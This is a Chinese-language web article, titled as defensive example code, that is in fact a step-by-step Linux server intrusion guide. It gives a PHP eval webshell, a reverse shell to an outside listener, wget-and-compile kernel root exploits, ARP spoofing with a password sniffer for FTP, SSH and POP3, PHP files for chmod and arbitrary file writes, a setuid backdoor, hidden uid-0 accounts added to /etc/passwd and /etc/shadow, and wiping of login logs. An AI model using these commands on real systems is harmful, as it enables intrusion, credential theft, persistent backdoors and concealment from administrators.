Linux入侵常用命令之防黑客示例代码
<p><span><strong>前言</strong></span></p>
<p>
linux权限多设的比较松的其实，但有的虚拟机还是不能跨目录访问的。在提不了权的情况下，试试如下代码吧。运气好的话说不定就跨过去了。下面话不多说了，来一起看看详细的介绍吧。</p>
<p>
写个php一句话后门上去：</p>
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<code class="bash plain">$ </code><code class="bash functions">echo</code> <code class="bash plain">-e </code><code class="bash string">"<?php @eval(\$_POST)?>"</code> <code class="bash plain">>rankuplog_time.php </code>
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<code class="bash plain">$ </code><code class="bash functions">cat</code> <code class="bash plain">rankuplog_time.php</code>
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<span><strong>1、linux的想着先跨站</strong></span></p>
<p>
shell浏览目标站不行，命令行下输入：</p>
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<code class="bash functions">ls</code> <code class="bash plain">-la </code><code class="bash plain">/www</code><code class="bash plain">.</code><code class="bash functions">users</code><code class="bash plain">/</code>
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<span><strong>2、溢出提权</strong></span></p>
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<code class="bash comments"># python –c ‘impotr pty;pty.spawn(“/bin/sh”);</code>
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来得到交互的Shell,一般的系统都默认安装python</p>
<blockquote>
<p>
输入id<br>
bash-3.2$ id<br>
uid=529(zeicom) gid=525(zeicom) groups=525(zeicom)<br>
bash-3.2$<br>
这里uid=529(zeicom)还不是root权限，<br>
输入uname –r<br>
返回：2.6.18-164.11.1.el5PAE</p>
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<p>
Linux提权大致可分为，第三方软件漏洞、本地信任特性、内核溢出</p>
<p>
找对应的exp, 这里地址整理很齐全可以这里下</p>
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<p>
http://tools.90sec.org/ <br>
http://sebug.net/paper/linux_exp/<br>
http://x73.cc/bitch/exp/ <br>
http://www.exploit-db.com/search/</p>
</blockquote>
<p>
命令输入pwd,这个命令是显示当前目录，</p>
<p>
先看能不能编译 gcc -help</p>
<p>
当前目录就是shell的目录，我在shell上传2.c</p>
<p>
反弹shell 到外网自己机器的12345端口</p>
<p>
上外网服务器 本地监听 nc -lvvp 12345</p>
<p>
一般都能得到一个apache交互的shell 有时候又不行</p>
<p>
这时候</p>
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<code class="bash comments"># python -c 'impotr pty;pty.spawn("/bin/sh");' </code>
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<code class="bash spaces"> </code><code class="bash functions">cd</code> <code class="bash plain">/tmp</code> <code class="bash plain">进入tmp目录 </code>
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<code class="bash spaces"> </code><code class="bash functions">mkdir</code> <code class="bash plain">Papers 创建一个Papers的目录 Papers不显眼 </code>
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<code class="bash spaces"> </code><code class="bash functions">cd</code> <code class="bash plain">Papers 进入 Papers目录 </code>
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<code class="bash spaces"> </code><code class="bash functions">pwd</code> <code class="bash plain">查看当前目录 </code>
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<code class="bash spaces"> </code><code class="bash plain">然后命令输入 </code>
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<code class="bash spaces"> </code><code class="bash plain">wget 下载exp </code>
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<code class="bash spaces"> </code><code class="bash plain">gcc –o 2 2.c </code><code class="bash plain">//</code><code class="bash plain">把2.c编译成可执行文件 g++ keio.cc -o keio </code>
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<code class="bash spaces"> </code><code class="bash functions">chmod</code> <code class="bash plain">+x 2 </code><code class="bash plain">//</code><code class="bash plain">给2有执行权限 </code>
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<code class="bash spaces"> </code><code class="bash plain">.</code><code class="bash plain">/2</code> <code class="bash plain">//</code><code class="bash plain">执行2, 溢出 </code>
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<code class="bash spaces"> </code><code class="bash plain">gcc -I</code><code class="bash plain">/usr/local/include</code> <code class="bash plain">-L</code><code class="bash plain">/usr/local/lib</code> <code class="bash plain">-o arpsniffer arpsniffer.c -lpcap -lnet</code>
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<p>
确定arpsniffer.c需要先装pcap和 libnet。</p>
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<code class="bash plain">rpm -ivh libnet-1.1.2.1-2.1.fc2.rf.i386.rpm </code>
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<code class="bash spaces"> </code><code class="bash plain">wget http:</code><code class="bash plain">//downloads</code><code class="bash plain">.sourceforge.net</code><code class="bash plain">/libpcap/libpcap-0</code><code class="bash plain">.8.1.</code><code class="bash functions">tar</code><code class="bash plain">.gz?modtime=1072656000&big_mirror=0 </code>
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<code class="bash spaces"> </code><code class="bash functions">tar</code> <code class="bash plain">zxvf libpcap-0.8.1.</code><code class="bash functions">tar</code><code class="bash plain">.gz </code>
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<code class="bash spaces"> </code><code class="bash functions">cd</code> <code class="bash plain">libpcap-0.8.1 </code>
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<code class="bash spaces"> </code><code class="bash plain">.</code><code class="bash plain">/configure</code>
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<code class="bash spaces"> </code><code class="bash functions">make</code>
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<code class="bash spaces"> </code><code class="bash functions">make</code> <code class="bash functions">install</code>
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<p>
重新编译arpsniffer.c</p>
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<code class="bash plain">gcc -I</code><code class="bash plain">/usr/local/include</code> <code class="bash plain">-L</code><code class="bash plain">/usr/local/lib</code> <code class="bash plain">-o arpsniffer arpsniffer.c -lpcap -lnet</code>
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这次没报错，编译成功。</p>
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<code class="bash plain">.</code><code class="bash plain">/arpsniffer</code> <code class="bash plain">-I eth0 -M 192.168.0.6 -W 192.168.0.4 -S 192.168.0.254</code>
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下面开始欺骗，由于是服务器端，因此我们欺骗网关：（网络环境如下，邮件服务器ip：192.168.0.11 网关：192.168.0.1 本机：192.168.0.77）</p>
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<code class="bash plain">.</code><code class="bash plain">/arpsniffer</code> <code class="bash plain">-I eth0 -M 192.168.0.77 -W 192.168.0.1 -S 192.168.0.11 -P 110</code>
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<p>
在另一个登录里面用tcpdump监听下</p>
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<code class="bash plain">tcpdump -i eth0 host 192.168.0.11</code>
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发现有数据，把监听的数据存在文件里面：</p>
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<code class="bash plain">tcpdump -i eth0 host 172.16.0.12 -w pop.txt</code>
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10分钟后停止，在SecureCRT下用sz命令下载pop.txt到本地，然后用Ethereal分析。</p>
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下面我们就可以用linsniffer监听我们想要的用户名和密码了。</p>
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先修改linsniffer.c：根据自己的需求监听相应的应用密码。我的如下：</p>
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<code class="bash keyword">if</code><code class="bash plain">(ntohs(tcp->dest)==21) p=1; /* </code><code class="bash functions">ftp</code> <code class="bash plain">*/ </code>
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<code class="bash spaces"> </code><code class="bash keyword">if</code><code class="bash plain">(ntohs(tcp->dest)==22) p=1; /* </code><code class="bash functions">ssh</code> <code class="bash keyword">for</code> <code class="bash plain">comparison added </code><code class="bash keyword">for</code> <code class="bash plain">example only comment out </code><code class="bash keyword">if</code> <code class="bash plain">desired*/ </code>
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<code class="bash spaces"> </code><code class="bash keyword">if</code><code class="bash plain">(ntohs(tcp->dest)==23) p=1; /* telnet */ </code>
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<code class="bash spaces"> </code><code class="bash keyword">if</code><code class="bash plain">(ntohs(tcp->dest)==80) p=1; /* http */ </code>
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<code class="bash spaces"> </code><code class="bash keyword">if</code><code class="bash plain">(ntohs(tcp->dest)==110) p=1; /* pop3 */ </code>
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<code class="bash spaces"> </code><code class="bash keyword">if</code><code class="bash plain">(ntohs(tcp->dest)==513) p=1; /* rlogin */ </code>
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<code class="bash spaces"> </code><code class="bash keyword">if</code><code class="bash plain">(ntohs(tcp->dest)==106) p=1; /* poppasswd */ </code>
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<code class="bash spaces"> </code><code class="bash plain"></code><code class="bash comments"># gcc -o linsniffer linsniffer.c </code>
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<code class="bash spaces"> </code><code class="bash plain">In </code><code class="bash functions">file</code> <code class="bash plain">included from </code><code class="bash plain">/usr/include/linux/tcp</code><code class="bash plain">.h:21, </code>
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<code class="bash spaces"> </code><code class="bash plain">from linsniffer.c:32: </code>
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<code class="bash spaces"> </code><code class="bash plain">/usr/include/asm/byteorder</code><code class="bash plain">.h:6:2: warning: </code><code class="bash comments">#warning using private kernel header; include <endian.h> instead!</code>
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<p>
不用管警告，直接运行编译后的linsniffer即可。</p>
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<code class="bash plain"></code><code class="bash comments"># ./linsniffer</code>
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<p>
用户名和密码都自动存到了tcp.log下。</p>
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<span><strong>3、利用跨站代码</strong></span></p>
<p>
linux不提权跨目录访问的代码</p>
<p>
linux权限多设的比较松的其实，但有的虚拟机还是不能跨目录访问的。</p>
<p>
在提不了权的情况下，试试如下代码吧。运气好的话说不定就跨过去了。</p>
<p>
代码如下：</p>
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<code class="php variable">$path</code> <code class="php plain">= </code><code class="php functions">stripslashes</code><code class="php plain">(</code><code class="php variable">$_GET</code><code class="php plain">[</code><code class="php string">'path'</code><code class="php plain">]); </code>
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<code class="php spaces"> </code><code class="php variable">$ok</code> <code class="php plain">= </code><code class="php functions">chmod</code> <code class="php plain">(</code><code class="php variable">$path</code> <code class="php plain">, 0777); </code>
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<code class="php spaces"> </code><code class="php keyword">if</code> <code class="php plain">(</code><code class="php variable">$ok</code> <code class="php plain">== true) </code>
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<code class="php spaces"> </code><code class="php functions">echo</code> <code class="php functions">CHMOD</code> <code class="php plain">OK , Permission editable file </code><code class="php keyword">or</code> <code class="php plain">directory. Permission to write; </code>
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<code class="php spaces"> </code><code class="php plain">?></code>
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<p>
把上面代码保存为tmdsb.PHP</p>
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然后访问http://www.tmdsb.com/tmdsb.php?path=../../要跨的目录/index.php</p>
<p>
这里的index.PHP是要修改权限的文件。</p>
<p>
收集的另一个exp：</p>
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把下面的代码保存为exp.PHP</p>
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代码：</p>
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<code class="php plain">@</code><code class="php variable">$filename</code> <code class="php plain">= </code><code class="php functions">stripslashes</code><code class="php plain">(</code><code class="php variable">$_POST</code><code class="php plain">[</code><code class="php string">'filename'</code><code class="php plain">]); </code>
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<code class="php spaces"> </code><code class="php plain">@</code><code class="php variable">$mess</code> <code class="php plain">= </code><code class="php functions">stripslashes</code><code class="php plain">(</code><code class="php variable">$_POST</code><code class="php plain">[</code><code class="php string">'mess'</code><code class="php plain">]); </code>
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<code class="php spaces"> </code><code class="php variable">$fp</code> <code class="php plain">= @</code><code class="php functions">fopen</code><code class="php plain">({</code><code class="php variable">$_POST</code><code class="php plain">[</code><code class="php string">'filename'</code><code class="php plain">]}, </code><code class="php string">'a'</code><code class="php plain">); </code>
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<code class="php spaces"> </code><code class="php plain">@</code><code class="php functions">fputs</code><code class="php plain">(</code><code class="php variable">$fp</code><code class="php plain">,</code><code class="php variable">$mess</code>
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<code class="php spaces"> </code><code class="php plain">); </code>
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<code class="php spaces"> </code><code class="php plain">@fclose(</code><code class="php variable">$fp</code><code class="php plain">); </code>
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<code class="php spaces"> </code><code class="php plain">?></code>
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<p>
4.2.618最终Linux Kernel < 2.6.19 udp_sendmsg Local Root Exploit (x86/x64)这个0day溢出成功</p>
<p>
udev提权</p>
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换了个udev提权，适用于内核范围为2.6.*。</p>
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还是上传文件至服务器shell所在目录，执行命令ls，发现文件已经躺在那里面了，之后赋予exp执行权限。</p>
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<code class="bash functions">chmod</code> <code class="bash plain">+x pwnkernel.c </code>
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<code class="bash spaces"> </code><code class="bash functions">chmod</code> <code class="bash plain">+x wunderbar_emporium.sh </code>
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<code class="bash spaces"> </code><code class="bash functions">chmod</code> <code class="bash plain">+x exploit.c</code>
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之后执行溢出./w*</p>
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成功溢出，root权限。</p>
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之后就是留下一个后门~ 添加一个root权限用户俺也不介意。。。（useradd -u 0 -o "username"）</p>
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依次输入命令</p>
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<code class="bash functions">cd</code> <code class="bash plain">/tmp</code>
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<code class="bash spaces"> </code><code class="bash plain">sh-3.1</code><code class="bash comments"># ls /lib/ld-linux* </code>
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<code class="bash spaces"> </code><code class="bash plain">/lib/ld-linux</code><code class="bash plain">.so.2 </code>
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<code class="bash spaces"> </code><code class="bash plain">sh-3.1</code><code class="bash comments"># cp /lib/ld-linux.so.2 /tmp/.str1ven </code>
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<code class="bash spaces"> </code><code class="bash plain">sh-3.1</code><code class="bash comments"># ls -l .str1ven </code>
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<code class="bash spaces"> </code><code class="bash plain">-rwxr-xr-x 1 root root 121684 07-08 21:13 .str1ven </code>
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<code class="bash spaces"> </code><code class="bash plain">sh-3.1</code><code class="bash comments"># ls -l .str1ven </code>
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<code class="bash spaces"> </code><code class="bash plain">-rwsr-sr-x 1 root root 121684 07-08 21:13 .str1ven</code>
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成功建立一个后门，退出root，执行./.str1ven `which whoami`，又成功获取root权限~~</p>
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cat /etc/passwd 查看linux用户</p>
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cat /etc/shadow 查看用户密码需要root权限</p>
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cat /etc/sysconfig/network-scripts/ifcfg-ethn N代表网卡号 查看所在网卡的ip信息</p>
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ifconfig 查看本机ip信息</p>
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cat /etc/resolv.conf 查看DNS信息</p>
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bash -i 在反弹的shell中使用可以直观显示命令</p>
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bash prompt: 当你以普通限权用户身份进入的时候，一般你会有一个类似bash$的prompt。当你以<br>
Root登陆时，你的prompt会变成bash#。</p>
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系统变量 : 试着echo "$USER / $EUID" 系统应该会告诉你它认为你是什么用户。<br>
echo 1>/proc/sys/net/ipv4/if_forward是不是你写错了,应该是echo 1>/proc/sys/net/ipv4/ip_forward,</p>
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vim /proc/sys/net/ipv4/ip_forward 吧,默认是0,也就是内核不进行数据包过滤,改为1 ,让内核对数据包进行filter处理!</p>
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netstat -an |grep LISTEN |grep :80 查看端口</p>
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<code class="bash plain">service --status-all | </code><code class="bash functions">grep</code> <code class="bash plain">running </code>
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<code class="bash plain">service --status-all | </code><code class="bash functions">grep</code> <code class="bash plain">http</code>
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查看运行服务</p>
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lsb_release -a 查看系统版本</p>
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重启ssh服务 ：</p>
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<code class="bash plain">PasswordAuthentication no,</code>
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将其改为</p>
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PasswordAuthentication yes</p>
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远程ssh才可登录</p>
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否则显示Access denied</p>
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其中Usepam yes可能用来建立pam方式login，比如从其它linux主机ssh到服务端，如果关闭，则不能打开.</p>
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su的菜鸟用法</p>
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先chomod 777 /etc/passwd</p>
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然后修改bin用户的gid和uid为0</p>
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然后passwd设置bin的密码</p>
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然后cp /bin/bash /sbin/nologin</p>
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然后su的时候su - bin就可以到rootshell了。</p>
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这个原理就是当ssh不允许root用ssh终端登陆的时候，我们又不知道root密码的一种很菜鸟的做法。</p>
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还可以这样</p>
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<code class="php plain">sed -i s/bin:x:1:1/bin:x:0:1/g /etc/passwd </code>
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<code class="php spaces"> </code><code class="php plain">gcc prtcl2.c –o local –</code><code class="php keyword">static</code> <code class="php plain">–Wall </code>
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<code class="php spaces"> </code><code class="php functions">echo</code> <code class="php string">"nosec:x:0:0::/:/bin/sh"</code> <code class="php plain">>> /etc/passwd </code>
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<code class="php spaces"> </code><code class="php functions">echo</code> <code class="php string">"nosec::-1:-1:-1:-1:-1:-1:500"</code> <code class="php plain">>> /etc/shadow</code>
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清空last记录 cp /dev/null /var/log/wtmp</p>
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-----</p>
<p>
dd if=/dev/zero of=yourfile bs=10M count=10 建立一个100m的大文件在利用Linux Kernel <= 2.6.17.4 (proc) Local Root Exploit提权的时候要用到的</p>
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/etc/init.d/ssh start 开22端口</p>
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/etc/ssh/sshd_config SSH服务配置文件</p>
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<span><strong>总结</strong></span></p>
<p>
以上就是这篇文章的全部内容了，希望本文的内容对大家的学习或者工作具有一定的参考学习价值，如果有疑问大家可以留言交流，谢谢大家对的支持。</p>
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原文链接：https://mp.weixin.qq.com/s/Pa5Zf-mfB2LyI8z5AkR6uw</p>
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